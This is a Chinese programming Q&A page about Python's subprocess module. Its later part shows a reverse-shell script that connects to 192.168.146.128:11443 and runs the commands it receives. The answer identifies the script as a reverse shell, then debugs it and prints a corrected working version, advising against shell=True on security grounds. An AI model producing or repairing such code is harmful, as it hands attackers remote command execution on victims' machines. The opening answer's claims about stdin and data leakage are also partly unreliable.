关闭stdin=subprocess.PIPE
时间: 2023-10-08 19:08:19 浏览: 53
关闭stdin=subprocess.PIPE 是在使用 Python subprocess 模块时,将子进程的标准输入(stdin)关闭的一种方式。这样做的目的是避免子进程从标准输入中读取数据,因为在使用 subprocess 模块时,我们往往需要将一些数据传递给子进程,如果不关闭标准输入,子进程可能会读取到我们不想传递的数据,从而导致程序出错或数据泄漏等问题。因此,关闭标准输入可以提高程序的安全性和稳定性。
相关问题
p = subprocess.Popen("python 管理员界面.py", stdout=subprocess.PIPE)如何给这个子进程传递参数
可以使用 Popen 对象的 communicate() 方法来给子进程传递参数。具体操作如下:
1. 将要传递的参数存储在一个字符串或字节串中。
2. 将参数作为 Popen() 函数的第一个参数,而不是直接将命令字符串作为参数。
3. 在 Popen 对象上调用 communicate() 方法,并将参数作为输入发送给子进程。
例如,如果要传递一个名为 "example.txt" 的文件名给子进程,可以这样编写代码:
```python
import subprocess
filename = "example.txt"
process = subprocess.Popen(["python", "管理员界面.py"], stdout=subprocess.PIPE, stdin=subprocess.PIPE)
# 将文件名写入子进程的标准输入
process.communicate(input=filename.encode())
```
在子进程中,可以使用 sys.stdin.read() 或 input() 等方法来读取传递的参数。
import socket, subprocess # 设置服务器IP与端口 HOST = "192.168.146.128" PORT = 11443 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.send('[*]建立了连接') while 1: # 接收命令,从服务器接收命令,读取1024字节数据并保存 data = s.recv(1024) if data == "quit": break proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) stdout_value = proc.stdout.read() + proc.stderr.read() s.send(stdout_value) s.close()检查代码是否有问题
这段代码实现了一个基于socket的简单反向Shell,但是有一些问题需要注意:
1. 在发送数据时应该使用字节串类型,可以通过在字符串前面加 b 来实现,如 b'[*]建立了连接'
2. 在接收数据时,需要将接收到的字节串解码为字符串,可以使用 decode() 方法,如 data = s.recv(1024).decode()
3. 在 Popen() 方法中执行命令时,应该避免使用 shell=True,因为这样会将命令解释器交给 shell 来处理,存在安全问题,应该将命令拆分成参数列表,如使用 subprocess.Popen(['ls', '-l'], stdout=subprocess.PIPE)
4. 在发送数据时,应该先将要发送的数据转换为字节串类型,如 stdout_value.encode(),然后再发送
修改后的代码如下:
```python
import socket, subprocess
# 设置服务器IP与端口
HOST = "192.168.146.128"
PORT = 11443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(b'[*]建立了连接')
while True:
# 接收命令
data = s.recv(1024).decode()
if data == "quit":
break
proc = subprocess.Popen(data.split(), stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
s.send(stdout_value)
s.close()
```